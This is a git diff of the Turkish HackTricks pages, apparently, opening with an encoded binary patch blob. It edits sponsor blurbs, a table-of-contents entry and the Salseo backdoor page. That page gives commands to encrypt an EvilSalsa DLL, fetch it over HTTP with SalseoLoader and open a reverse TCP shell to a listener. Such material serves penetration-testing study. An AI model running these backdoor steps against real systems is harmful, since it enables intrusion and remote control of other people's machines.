zpo$ZOJv=Uwug_6o@w`s5Ya`za+24*r^wV2PcX3&yNhOj3xpQ8g!c6aqcojqm$!|OR zpE)-1u*p&Ca#E)*!4p#@kNML#SY5aBW_z>vGJlfd?oZb2N6@3ojOM1QJR-#yT=?)E zwje!qYMYQ~A^B8#d!cho=S1?gKD0dcx@?z#)dX`Lz=Jh30270cV1>+vOVX?I9&`?* z@;NrSl1V*Bi*`kYUGY~hJ3{VhMMnmXgY9tj0wU|h%&R}%lK?zF=YyQoymcqP4b&4u z==;RqmJ`b$p>h!C1EI_9^fCC!>#X%+(Bq?BREC^U4F1F-KZ^D7@%FW61l&8Q3!jIT z7>}QiYP(qNWc|m%_q)F?ti(>~%QxeF%I0z@LoQ^r2E-Td|0 zUim}-cr9T$PqD&iUT8*g&m zrEmWDK_-DG3;q60f#MH(DVU17f5TmJJcmYc4TG7m3nve5J6oxl2MNSNJKMDcmYD>G zGU*#>?#-OtzsAH!H~^=GXqk;G+wkb8F~403miPF|k991}s=Ds|X#2&?(IBlc#H1e- z>ee1q&*$!P)$s3I_wshZYZs$TEnr_oTKsRPWi9Y$!?<6c1~MJtlSXGrf^A} zGBKB=q@*-6MMXp)OS73&GWSr($C4D4+;aiSCN($8jnoj!1y@W~S^Y4d=b1jwbI$i4 z_?|QTbf5d2`#v}C>;1ac_w~9`jIzs=YMKwaL%Gmm56s*ma1{-F`PyRT%gZ#_o0w}= zpck*?zNT zgfabATaYn9a1*+`Q*&pZj=VH0S?ojDzzN@Ff|wDJby2yguzjrvAF08vj6Vra0BPMF)WyDIMyj1H`$fY+vlx zyEs15lL(UX!6xx5r)=2K{gEBB&!+Zd{!?*Qv#5I?5^{d2dh>((AnMock(#dG=W7?8 z4%hWR-R$6RchI?yk~pRFW%Nq*ja};4>0Xk%bB3xO+S>^^^u}cI2H{cC)kj5_Tv~QJ zF6Y{H&mG^FiSt@X^IX&9`dy}`J@Cj3BIBlb*{i6{La;18QY|QpyAq0c@-D7-yTjxk zX7{Re4_`42fpc;O&uz-c=m(+r4$Mg(UxO)Qn;l9o``wPHSIFMPPk8`L&>!87lj`)pT+ME)xGU#1 zufo)403WEb#aCAQSu|b@$&EA6>3Z{?oE29-@}H42(Du4Y_2ag4WE z?H0dt2b=P{ie7#+|32J7I<(H7lsgEdwg_&*M7V@F%vEl=a8;vIeWu>N9Xll+m zIA~w$)X>jAe!N$zVLtgVWjS0Lg}Ft4z8v-l2%Pg42y$#56XKP?0rMbPTW?Kxb!27f zUH1mUL6z<<<{`oPG!qs(jvjfh>Vw2%c&4yR8K?Mt?dmVTr5K8rmT>*vpN!N*lD(2f zu!-Hrk&!0fQGfR8CoV{00}^zYnXXQ$YsTv#Mxce?EBR+bPu1(ZKTr7&xvo_Om;YzU zNA2=uogS~FViq?!$v)t*jV@f@`vzEI{Yhzcz|F?1hU>Pki%+h&_A&M}`s&G%6Rjt1 zt5z4;J=BYE4B!^Sq#bnZW2Dgz?x!Szy}qtD&!-P!bM8{KW}&e6c%vd|;J@<^@o&bAKiWYN^-D|ga;3vqp2nk&wU4ln z3u9<1HwGiFieBNhGd-UWo>&DuJAclu{=Vz&yuk_@&3zp`unRV_`x0|r*#8-+Ia``( z4Q|+x7)l^j-*(-= zJ}*<_4)VD~psT{N7y-W$s zUE?q++x@&JA?(%lQ^<=QV?vuV|>_OL5k-c)wN9&;xO zdKjb83`4*oKd9cd;kU^0rryODK#!8hb4Zne(|VsF2~lpkbaAk&pdUV#yMQ3!-eyeu z?E=x=i{?r=kwed=hkm*%Q6L;Q^FMbA4|ywlemj6+CCw0a4ygr)m$ja|8=->D5spsN}#wdi?Ac^}st6fAWFP;#+UT zYODEORzcaO*YW#}G&XMCdHnX8M9!W=^2J4@kGJRTHEY-XdH3ttt#Q0YZtPGl6{Mcw zTK9(9!tY$I1RP2DqDXEqafq7i!1!$@J_MlsxVf*A?!zeA+Vev;L+xeaq`~2HyLZ9v zER2F%J8#%kAuMY>w-UZKpIk}GG`m)g1z)?6#(mQj=E}ij@U?W&|{NQ|JhgqjFySn_*hZ0-~)J=TCO zvVV;M9v=FcF!=5h8Q@STGmsEbB?+;l34dCzm5j2f-)(iT3;tvqGhbr2rJr#o4;0wJ zd^>YXVWospYB_$y;cD|m^Ec-S*dL?9A9ID+kkhoE9AjZ)qP+N{0(*20s+?7W?qK$O zB@P-`%KPb~L$HM!FZCd+PNrPVR%SDQ@~*xFa8T6(ik30JcoWQoIxqnI$-&VKVcY&| z3#g^eyYosI@cH75i~hg2#oBc^+eGcLwxyWueKGb8NAuxC)O3+GycfuyCPZMDKUTrK z4gdhArQx2ST)+j7jZMfU`ZkF9uRU%H8p*@KKfR9X)JqScq^sUWmhZ2;W&L{m!c@>} zDE;`+#4G7r)(U_{pMNm&WP!I9Y<)2&76GT@O`4foJ~(XkM9F#*&H*f=1$ovnQ2@L6 z(VP}fKjt2#`K@l)G|8IUUoU^Bo>d0KJ8}m+aQOi#?Tz?AFGeW=D`+{uw`U;^D0dh1 z?#Mz-`%5ybtNI$X`*CfqPl!8XlitM~0CSj%f^z`aWOoJ@@syM#8VqgW@mpL94|>(? zwIxD)$gypOVp~%3$C#=m>rq_~G#-DmAt4GdYlG+>7NN^82<5re2bWM&R#R{ODRZ4M zX%}W!p9Nr8FU)Qb+2Dgu_n$yEr#3a>%Sg)zab34Pv%O3-jD8&3n6uipagh79l(C7u zx^nJgS#Fd1on85Kc~HqR{{&>%7dJQ?2Ne{(>a}l&02>Qd=c<|v@%i2((=jIC;pi$E z35ck`4|M%;IMy^DH=RjJ38d<<>(#k`u}Jn}v5w+PrGMq9)4~y37Dkbu|E%;nA$Q=v zNfZga#ADSra~e&w{ulacxnptbwh#DBAKSn~5i{f>#ePrq(ORz!1U$98+^Br;E6!)s z6&R~(P4+Uiy*2(?V^CAPWLgy5I-+ibc5YYC<;jY$960kTKm3?3f6tkojB%^$m%k(3 zd9zpOX^>}q;?i76c~^gBmjD>k2d5S=1x8xOy#YlxTKO6eP(-Zmosd&l&>9y%NF%&J zdi*f6-yGc8XCA}lT4~SYQ!|U-45ns=l@egu6ta$SUqtUG^c;CV6EThImB!9miu9V0 zP}G7-@Npv62~}7#pJpKfOS0u|sF4y6Q})3LZUL^)J|E0+Z|H*T9sKaKJI--6;q3L2 zLlvGRqjSU>d2d2Iu`vfEP^saX^%f+GdJ06iND~UB5>SBAvoQlpCqEG*sEAZ=C(yI0 zhvxTKOk5cgOgzQ&;Id&NmRRkfrpzfSc`PnwF81$}?mbSrBNh^@!6PCo+4EaK=$Xel z`%6Ic+~8Q;VwTJyjA&P)W)f!iUnn&lx7X$AcdR(%Vh`u82;-#hVa4>!U85(a;2>_c zr7vWQNsHudT3THLv(Q1pTAc^1@}XEopSu%AJPc>1dU93I>7n)v>E};@+r7TY6ZGVj zkT9lsqulUcs{HuvSM4XCh!YvB`P*-stf<0SMBJv(Q(pGjbM=UotFu9Cw9S? zhL*I}Cp&I}O+`j*KOC-exI)o8x0qDrhjPH}zSjLA5oV&76uXko($dunPJdDpWO2M( zlr*Dt!<%?a%h(%m)o+SuM(y{#^QoYb7*DG^LzHCDqe?KHh%4nrjX4N97N5-rGBc|9 zE!@YAQ~v3-9;SQUHxgNFu%wV>=Y0&PbDd;w*L0CcCYjX8JM-+UJ)56;;xl6HWd0+f z40}gUSw{vR>(ytjoc8au&V4!U;upm2fc2VK#|VIzQOvzm1dZM7DNDzh^uzI)Sb2w>afDSc??0VW5yjurGHVHLn*~rj2#WbctJB$O=&rJ5 z#rI6?mANfor(yM{kg-$j!C2X$V9TGWDw+Fl4XLNU28GmAwVMdugg=H(A2Fh|<#|=y zVcKF+pU{Hf?s?lPxpzzKsevf;#CXx&)!N3Y$VT4mDn=zB;imo^C%vj%!mV1cV^vjc z&v_db1m;A&KMk>3V4(eL6Xhv;DA4~k!)n=q1IGtSz1uB;N-Eil1p4*zBy^F(Se+cM z;coHWh>MC`{UR>E=cTr=w5Ye+lFakEK~q}W$e4HJoskK@!7sW$&zslcwrfkZZ5+Oy z@#_`l-#$iRa((T|<#&e$T;oOpI-c$?3U&TOC%(6#f}i-oraJ^ecG1mFhwphRZvbY} zh15ulHAI76_J|7X+LXN`lc?NhOTuhvtWzn8ewblo+|+Q=#F}Ark<7K_9GvK8S}G-R zrMcDHeqzC<*$8T`4}|CAWLe(q3Bgztcs3^~W&slor-)qtIj%pmp$pwI@J=~>rZ5ZX zM`Sj5k?gD+23%3RT}*_qr5Px2Lph5SiYw(=Q&pp>DhfvBeyPw57Xlg%pm7J}edO?7 zBja+5Xp%UL1j)5nPl_*)buRGj?_JL)Ep@|3Y#5aTE3kq{(^=e+JYM9@4GH*+MlyCf zL+3W%IzwKr^QxXE8VYc7iWOcH2jXhx6zmDSlM0XvfYMibBC!2Khu+TpTRIyRRa$2l zeyXaT&V+A*8!xYVx$eN9Jl7rH_?chO@Iw1?ONH4MbL}wA< z5cS;lv2l$dQEhL$SDOPUjSx0`&ipfa`l4?G&rB&SuqL(ie)v(@vYCI`m4oPP!gk8f zjDDQLgpOv35Cv3@Tn%u>c`L-k?Y z7uJajwz@$>nHmNC`tC#2=UV3TBd0fXqt39Qn}BduADnJ<_;P5vk=`MXRTR>S+%bBff&Qt zBR5M5Uf9ltYxd69)w#@FjZj{%6GuZ~KZ(FHcZRg}Ln?vm$UI26LRl)WC9)&xPt9Jk z!z_+v4~{#82F=0|LlJ=`=w7jNzoG=xM5^sk$Y^uuUJUn!V1TLMH*xdPMoy+a00ECb zuqf|Lg~l(;cT!d;Y`&?m~!EPNFb3wS6cOl z#^NT@Y~~%ds}`kP5`(6N&{s?AJ37i%^y*sU zS;IAO6JYcbjZ}FYtI^yX>$4Gh8P&Q{xSbAhvmYM?fYG({}isQUj)RXv&J4g`_3%{4hlM<7w+bFK8oU)_-vq33dK9kiC3FGLX+8 z4={&WYCA|=Jj*9uIjRUr=AjC=f~I^b+VUX^Bte)_g`nCsFQw+sOLH|*3$oHodX!l3 z2{zW>f-4=JV*3Wc3kKf7(oFzYF;7*|UNt&ip_O(`jL7vhtj4hzvFl?6HGPMCA*u{%w}lBsTBdd5f{>e$!u?ackV_I;gbMmnZLrgAiZ( zp1Dg3)Lv;^GRMp3ko1D5VOznGR6hmx0#%aFECra9)fJuVTR*sP7!WXzfs-O%j@daaCtiIV)VSpc~5 znOeW)&02;d4&aTyCkM5;)1>u{AWRW=@l>Z{?A+B#jE)vpu;HKmZj!w(m`3NEMDbYf zSHQX+w|S$0DIc4}DE5gS*sYQ{Va7bIn#Lt9AI2{Th-Q+!NZFe-A)%N%g2xBA<2F6Xy)lsO5*>_ILc3ET3 zu|sgWI)C3H-Z9biFUR1|pu9>y4+~R%}aU zp|U=erfI@g>pG8~F$A}F5&bz?-$XV*28rOLl|L*@Ksc3RO#7M+D`*+4V`O{l=h4B` z_YGf$Ze%|4;oDW`CR8FXJhnZyE1_O&K*@E8E=(@f64rRQr&Jba`V|7b);Kt`n_{{1 zNlj)yS3Ws*IeguuMr~tGEXMq4uSnxvsZHy+M(ZFP^vevus>kT?(EYp`X1p<`;^d4l z(;CCsQcXVQcvI%mEJb(T^6nrG3iC(z5A+W1J3|l-FY=q#&unS)9>b6uvfx{;b6`DA zUWGRa00Z^84M%REDXeECRxTtRh~?Xz7|ZQGits{hPphsN{BActGD8L3 ze#dM(f1s{J=X-wMVl;#W0XN50vWA>}sTTtn*u|0jVhLwe(8Ti3qDNJM4C1dxMlL6l ziSeN#xRc!P>N16)7?aQ?r)6LkzT2xeD(*W4?Nadkk1{S;=9!j-wYSBZ zZ!Zr?j-z)UUAsI4Xx-jvuJHIuFr!e&hfv~EkA1AE4)1#e*usY`B)lpFv*>o|Vq%1> zJKx^W40B}b;0aus6(PWRZgROF<1xw@SZGV=#~Jk>dmTNu$JUDzuI8B5OZAcz-bO!;h#|lS zkHJyr-)-!NQ+V@lzwWz#)<-STs}$lYO&A?sbe+KF-hI9xAD#)h9>?Gm61b8oipo>2w4JrcBhH&;9X7 z@&1L1@EiP7kG1Ob7Gm?%4gB*{KYV0mYOI(kjEfSg$FJ{+ah4}6UxWB~jdq=(RM!}L zV%M4`#yt8gEZo{?f}mBVS|P$<6g4_h?Y>OK_g$85d`k(J&8h0A^Vc|n{{b=0hw=8D zh#TShw{>Q)ih&4&^&SXUKL}1egDDbv-4{GfkTvGmmGp?C3aI}Wo zV~^EX^_vSi>YZRe4q|P6Icl??WH{P*o?zt7@o5gSxX*z|#c48U)(z8|`lhD(DA8OL zEkZxt*dhKp1|b-#%g%PEgoUZ~x-XRKGYeRiW_l5uRpQZxIoit$+-D=}ravJWa(3MZ zsivZM`ccDv2`4MSQCVMI;YR!`Pp~mz|AsceZ>C)i2=8zC1dXwjSAY6Z5tzjJK6T70 z_PN#~f1hFI5Cp=+M>^Z_jb6eHpioe(A{zOz#CbuZOKYko3OH39 z?mXQ@{M8<80$x+d4|H(}YM%~)M0pKIw7HC87wAzH_9lyZfnEp5K41D3A(riwvFC(z zZ)#ij%hG=C#xY7z{mgK;iYJ1OJWconp8mDRnw&5jnog9g{5149VkF&17B+8l?AQ>X zk{Z50;zoHz_EZSw^EIW}y`F$NQ?&x8P<+c;0dwj~!8RUWrIa&)(#g#1iin#-zl$0y z3#hL!pPegQNZy{+x`p|^s_pPmCZ&k<3!=>36Tb%_j=D+nSt&~ZQA_j5bm(yrSPt);!-2s1u6Q|K~z?dVXaGx z_-?zS^Pn~h9c6rMc!I(Et4kH&x^HpU#ulf<*@mwY*6HxSyppx+OdS&ajcLWb*Ew0k z>^(0q}!-RIVrF6!rIO7z(-*= ztO&M0$1hQyX6$ft$`Vddx{a_>G$k#*o`_H=gOXbpFyEqRkKQJuai-%ZNt zCx1z~HL0ArDWJFX%QN|bxP_|rdRB^Qz!KYm250Aj|L<@8AK*4_U3s`+-!B~PxTT?A zwWbkc!%!#*Fdv2-Qa-0u%3oThFOf+SZ%Og=b^3ok^_PkI2Is#o{@=^{_d@->ZN4e& zzc2oV!{2cD8wG!(;BOTCje`GgP@p=#Zq+osd%ulFIr708_0RQ`=P#Acm+t%z-5<

-[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir buluşma noktasıdır. +[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır. {% embed url="https://www.rootedcon.com/" %} @@ -42,9 +42,9 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
-**Intigriti**, Avrupa'nın #1 etik hackleme ve ödül avcılığı platformudur. +**Intigriti**, Avrupa'nın #1 etik hackleme ve **ödül avı platformudur.** -**Ödül avcılığı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan premium bir **ödül avcılığı platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**! +**Ödül avı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **ödül avı platformu!** Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın!** {% embed url="https://go.intigriti.com/hacktricks" %} @@ -55,7 +55,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın. +Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın. Bugün Erişim Alın: @@ -71,9 +71,9 @@ Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenPro * **Hackleme İpuçları:** Hackleme heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin * **Gerçek Zamanlı Hack Haberleri:** Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın -* **En Son Duyurular:** Başlatılan en yeni ödül avcılıkları ve önemli platform güncellemeleri hakkında bilgi sahibi olun +* **En Son Duyurular:** Yeni ödül avlarının başlatılması ve önemli platform güncellemeleri hakkında bilgili olun -Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın! +Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın! *** @@ -81,7 +81,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katı
-**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Vulnerabilite değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. {% embed url="https://pentest-tools.com/" %} @@ -91,7 +91,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katı
-SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır. +SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captchaları çözer ve tüm zengin yapılandırılmış verileri sizin için ayrıştırır. SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlasını içeren farklı arama motorlarını kazımak için 50'den fazla farklı API'ye erişim sağlar.\ Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları kazımaz**. SerpApi yanıtları tutarlı bir şekilde tüm reklamları, iç içe resimleri ve videoları, bilgi grafiklerini ve arama sonuçlarında bulunan diğer unsurları ve özellikleri içerir. @@ -114,13 +114,13 @@ Daha fazla bilgi için [**bloglarını**](https://serpapi.com/blog/) kontrol edi
-[**WebSec**](https://websec.nl), modern bir yaklaşımla işletmeleri dünya genelindeki en son siber güvenlik tehditlerine karşı koruyan Amsterdam merkezli profesyonel bir siber güvenlik şirketidir. +[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur. -WebSec, Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi yapan bir güvenlik şirketidir**. +WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada güvenlik şirketi**dir. -WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçları garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! +WebSec hakkında başka harika bir şey, WebSec'in endüstri ortalamasının aksine **becerilerine çok güveniyor** olmasıdır, web sitelerinde "**Eğer hackleyemezsek, Ödeme yapmazsınız!**" şeklinde belirtilmiştir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! -Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı destekçisidir. +Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı bir destekçisidir.** {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} ### [WhiteIntel](https://whiteintel.io) @@ -129,7 +129,7 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı destekçi [**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. -WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. +WhiteIntel'in temel amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: @@ -137,7 +137,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: ## Lisans & Feragatname -Onları kontrol edin: +Onları kontrol et: {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -148,16 +148,17 @@ Onları kontrol edin: ![HackTricks Github İstatistikleri](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analitik görüntüsü") +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/SUMMARY.md b/SUMMARY.md index 3ec907087..cedf86022 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -279,7 +279,7 @@ * [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) * [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) * [WinRM](windows-hardening/lateral-movement/winrm.md) - * [WmicExec](windows-hardening/lateral-movement/wmicexec.md) + * [WmiExec](windows-hardening/lateral-movement/wmiexec.md) * [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements) * [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) * [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) diff --git a/backdoors/salseo.md b/backdoors/salseo.md index cc5daa4f8..563e6ef79 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -1,46 +1,45 @@ # Salseo +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} -## Derlemeleri Derleme +## Derlemeleri Oluşturma Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir. -Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64 destekliyorsa, o mimari için derleyin). +Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin). -Mimariyi Visual Studio içinde **sol "Build" sekmesindeki** **"Platform Target"** bölümünden **seçebilirsiniz.** +Mimarisi **Visual Studio içinde** **"Platform Target"** altında **sol "Build" Sekmesinde** seçebilirsiniz. -(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\ Properties"** seçeneğine tıklayın) +(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\ Özellikleri"**ne tıklayın) ![](<../.gitbook/assets/image (132).png>) -Sonra, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz): +Daha sonra, her iki projeyi de derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz): ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ## Arka Kapıyı Hazırlama -İlk olarak, **EvilSalsa.dll**'yi şifrelemeniz gerekecek. Bunun için, **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: +Öncelikle, **EvilSalsa.dll**'yi kodlamalısınız. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: ### **Python** ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` -### Windows - ### Windows ``` EncrypterAssembly.exe @@ -52,9 +51,9 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ## **Arka kapıyı çalıştırın** -### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP aracılığıyla indirme)** +### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP üzerinden indirme)** -Ters kabuk dinleyici olarak nc başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın. +Ters kabuk dinleyici olarak nc'yi başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` @@ -64,7 +63,7 @@ Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmış 